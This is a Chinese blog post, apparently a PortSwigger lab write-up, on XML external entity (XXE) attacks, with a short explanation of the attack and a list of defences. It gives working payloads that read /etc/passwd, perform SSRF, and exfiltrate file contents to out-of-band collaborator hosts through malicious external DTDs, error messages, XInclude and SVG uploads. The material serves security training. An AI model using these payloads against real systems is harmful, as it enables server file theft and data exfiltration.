XXE漏洞利用技巧(由简入深)-----portswigger(XXE部分WP)

news2025/1/17 1:19:54

什么是XXE

XXE(XML External Entity:xml外部实体注入),它出现在使用XML解析器的应用程序中。XXE攻击利用了XML解析器的功能,允许应用程序从外部实体引用加载数据。攻击者可以通过构造恶意的XML实体引用来读取本地文件、执行远程请求或利用其他可用的外部实体来获取敏感信息。

原理

攻击者通过在XML文档中插入恶意的实体引用,诱使应用程序将其解析并加载外部实体。这些外部实体可以是本地文件、远程资源或其他实体。当应用程序解析XML时,如果存在漏洞,它将尝试加载实体的内容并包含在解析过程中。

危害

敏感数据泄露:攻击者可以利用XXE漏洞读取应用程序的敏感数据,如配置文件、密码文件、数据库凭据等。通过构造恶意的实体引用,攻击者可以请求并获取这些敏感信息,从而对系统进行进一步的攻击或滥用。

远程代码执行:在某些情况下,XXE漏洞可以被利用来执行远程代码。攻击者可以构造恶意的实体引用,使应用程序解析并执行外部实体中嵌入的恶意代码。这可能导致服务器被入侵、远程命令执行、拒绝服务攻击等安全问题。

内部资源访问:XXE攻击还可以被用于访问应用程序内部的其他资源。攻击者可以构造实体引用,尝试读取服务器上的文件、访问网络资源或执行其他与应用程序相关的操作。

服务拒绝:通过构造恶意的DTD(Document Type Definition),攻击者可以触发实体扩展攻击,导致内存耗尽或服务拒绝。这会使应用程序无法正常运行或响应其他合法用户的请求。

防御

1、使用安全的XML解析器,如禁用实体解析或限制外部实体的访问权限。
2、验证和过滤输入的XML数据,移除或编码潜在的恶意实体引用。
3、使用白名单验证来限制解析器可以引用的外部实体。
4、避免将用户提供的XML数据与机密信息混合在一起,尤其是在解析XML之前。

具体案例(来源)

利用xxe读取内部文件

基本利用:<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
在这里插入图片描述

利用xxe执行ssrf

<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://172.16.12.1/latest">]>

在这里插入图片描述

带外交互的盲 XXE

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://e4jy5632clemtbljaoi7jyccl3rufn3c.oastify.com"> ]>

在这里插入图片描述
这里未显示,但是在collaborator选项卡可以看到dns和http的回显:
在这里插入图片描述

通过 XML 参数实体进行带外交互的盲 XXE

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://cgwwh4f0ojqk59xhmmu5vwoax13srmfb.oastify.com"> %xxe; ]>

在这里插入图片描述
看collaborator选项卡:
在这里插入图片描述

利用盲 XXE 使用恶意外部 DTD 泄露数据

1、首先复制
在这里插入图片描述
2、粘贴:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://569p7x5tecgdv2nacfkylpe3nutohh56.oastify.com/?x=%file;'>">
%eval;
%exfil;

3、复制服务器恶意dtd文件
在这里插入图片描述
4、构造payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ae50065037b32a98298a1b9012c004f.exploit-server.net/exploit"> %xxe;]>

在这里插入图片描述
5、发送后等待数秒
在这里插入图片描述

利用盲 XXE 通过错误消息检索数据

1、首先远程构造

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

在这里插入图片描述
记住url。
2、构造payload

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ae500640465e735830aab290124004a.exploit-server.net/exploit"> %xxe;]>

3、放包
在这里插入图片描述

利用 XInclude 检索文件

由于您无法控制整个 XML 文档,因此无法定义 DTD 来发起经典的 XXE 攻击。

若要解决实验室问题,请注入一个 XInclude 语句来检索 /etc/passwd 文件的内容。

默认情况下, XInclude 将尝试将包含的文档解析为 XML。由于不是有效的 XML,因此 /etc/passwd 需要向
XInclude 指令添加额外的属性才能更改此行为。

将 productId 参数的值设置为:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

在这里插入图片描述

通过图像文件上传利用XXE

构造payload:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

制作为.svg格式,上传
在这里插入图片描述

利用 XXE 通过重新调整本地 DTD 的用途来检索数据

构造payload:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/960432.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

四、MySql数据类型

文章目录 一、数据类型&#xff08;一&#xff09;数据类型分类&#xff08;二&#xff09;数值类型1、tinyint类型2、bit类型3、小数类型&#xff08;1&#xff09; float&#xff08;2&#xff09;decimal 4、字符串类型&#xff08;1&#xff09;char&#xff08;2&#xff…

101序列检测器

本次所做设计&#xff0c;使用数字电路芯片实现的101序列检测器。电路图如下&#xff1a; 主要首先要根据需求画出状态转移方程&#xff0c;然后写出它的逻辑表达式。最后根据所选触发器种类确定电路图。序列由按键控制输入&#xff0c;按键按下&#xff0c;代表输入1 &#xf…

如何使用Python和正则表达式处理XML表单数据

在日常的Web开发中&#xff0c;处理表单数据是一个常见的任务。而XML是一种常用的数据格式&#xff0c;用于在不同的系统之间传递和存储数据。本文通过阐述一个技术问题并给出解答的方式&#xff0c;介绍如何使用Python和正则表达式处理XML表单数据。我们将探讨整体设计、编写思…

交换机和路由器互联,并用ACL进行网段隔离的实例

拓朴如下&#xff1a; vlan10 20 为业务网段&#xff0c;vlan100为管理网段 S1起了vlan10 20&#xff0c;上行接口起了trunk口 S2起了vlan 10 20 100&#xff0c;分别起了vlanif网关&#xff0c;其中 vlanif 100是100.1.1.2/30&#xff0c;下行配置为trunk&#xff0c;起了AC…

Mysql索引、事务、函数

索引&#xff1a; 索引&#xff0c;使用索引可快速访问数据库表中的特定信息。索引是对数据库表中一列或多列的值进行排序的一种结构。 在关系数据库中&#xff0c;索引是一种与表有关的数据库结构&#xff0c;它可以使对应于表的SQL语句执行得更快。索引的作用相当于图书的目录…

新的雅思口语6分标准

目录 新的雅思口语6分标准 要有细节&#xff0c;要有充分的话题词汇资源 要拥有具象思维能力&#xff0c;要有画面感 下义词是什么意思&#xff1f; 方法&#xff1a;现在时未来时 &#xff08;形成时态多样&#xff09;观点解释 原因要有排他性 "Kick off" 是…

国家公派必读|CSC奖学金发放/专用银行卡领取说明/问题解答

在上期文章“国家公派必读|CSC各类留学人员奖学金资助和艰苦地区补贴标准”的基础上&#xff0c;本文知识人网小编谈谈奖学金的具体发放办法、CSC奖学金专用银行卡及领取奖学金说明及有关问题解答。 奖学金发放 1. 留学基金委在取得留学服务机构的派出信息后为留学人员预发3个…

QT(9.1)对话框与事件处理

作业&#xff1a; 1. 完善登录框 点击登录按钮后&#xff0c;判断账号&#xff08;admin&#xff09;和密码&#xff08;123456&#xff09;是否一致&#xff0c;如果匹配失败&#xff0c;则弹出错误对话框&#xff0c;文本内容“账号密码不匹配&#xff0c;是否重新登录”&…

【kubernetes】k8s部署APISIX及在KubeSphere使用APISIX

Apache APISIX https://apisix.apache.org/ 功能比nginx-ingress更强 本文采用2.5.0版本 https://apisix.apache.org/zh/docs/apisix/2.15/getting-started/ 概述内容来源于官方&#xff0c;学习于马士兵云原生课程 概述 Apache APISIX 是什么&#xff1f; Apache APISIX 是 …

前端JS学习(一)

基础 JavaScript书写位置 1、行内 JavaScript   通常放在文档结尾的 < / b o d y > </body> </body> 上面   将 < s c r i p t > <script> <script>放在HTML文件的底部附近是因为浏览器会按照代码在文件中的顺序加载HTML。 2、内部J…

解决在写论文过程中遇到的插入到论文中的图片不清晰的问题(全网最详细最全解决方法)

目录 1 插入到word中的图片不清晰 2 将word转化为pdf以后图片不清晰 3 在利用latex写作过程中得到的pdf图片不清晰 4 将位图转换为矢量图 在读论文的过程中其实我们可以发现很多论文的插图在放大以后是模糊的&#xff0c;这是因为他们所插入的并不是矢量图。 矢量图&#x…

关于数学建模论文中“学习率”是什么东西?

问题背景 数学建模2022年无人机问题的时候遇见一个关于学习率的东西&#xff0c;不是很清楚的现在可以看看下面的内容了。 问题解决 学习率在机器学习和优化中是一个常见的概念&#xff0c;它决定了模型在每次更新时应该调整多少。较高的学习率可能会导致模型在寻找最优解时跳…

Questa Sim使用教程仿真-示例

Questa Sim0基础仿真教程 文章目录 一、 打开软件二、运行编译后的文件 一、 打开软件 1、新建工程 File -> New -> project 2、填写工程名称和工程位置然后点"ok" 3、编写或者添加文件&#xff0c;这里直接添加一个编写好的反相器的文件。 可关注公众号&a…

进程控制块(PCB)的存储方式

进程控制块&#xff08;PCB, Process Control Block&#xff09;是操作系统用于描述和控制进程的重要数据结构。它包含了与进程有关的所有必要信息。为了有效地组织和管理PCB&#xff0c;操作系统通常会使用不同的存储方式&#xff0c;其中两种常见的方式是链式存储和索引存储。…

linux的文件系统,理解一切皆文件

1. 系统文件I/O 1.1 open #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode); pathname: 要打开或创建的目标文件 flags: 打开文件时…

stable diffusion实践操作-VAE

本文专门开一节写图生图相关的内容&#xff0c;在看之前&#xff0c;可以同步关注&#xff1a; stable diffusion实践操作 大部分底模有VAE&#xff0c;但是部分底模没有VAE&#xff0c;需要专门下载VAE才能使用。 最常用的VAE&#xff1a;vae-ft-mse-840000-ema-pruned 用来饱…

VBA_MF系列技术资料1-172

MF系列VBA技术资料 为了让广大学员在VBA编程中有切实可行的思路及有效的提高自己的编程技巧&#xff0c;我参考大量的资料&#xff0c;并结合自己的经验总结了这份MF系列VBA技术综合资料&#xff0c;而且开放源码&#xff08;MF04除外&#xff09;&#xff0c;其中MF01-04属于定…

react中使用cytoscape

1. 安装 cytoscape npm install cytoscape 2. 使用 import React, { useEffect, useRef, useState } from "react"; import cytoscape from "cytoscape";const peopleList [{"data": {"id": "1","label": &qu…

ShardingSphere——压测实战

摘要 Apache ShardingSphere 关注于全链路压测场景下&#xff0c;数据库层面的解决方案。 将压测数据自动路由至用户指定的数据库&#xff0c;是 Apache ShardingSphere 影子库模块的主要设计目标。 一、压测背景 在基于微服务的分布式应用架构下&#xff0c;业务需要多个服…

前端、后端面试集锦

诸位读者&#xff0c;我们在工作的过程中&#xff0c;经常会因跳槽而面试。 你开发能力很强&#xff0c;懂得技术也很多&#xff0c;但由于不知道如何组织面试的话术&#xff0c;从而让自己的面试不理想。 面试专栏-前端、后端面试 专栏已组织好面试的话术&#xff0c;为你的…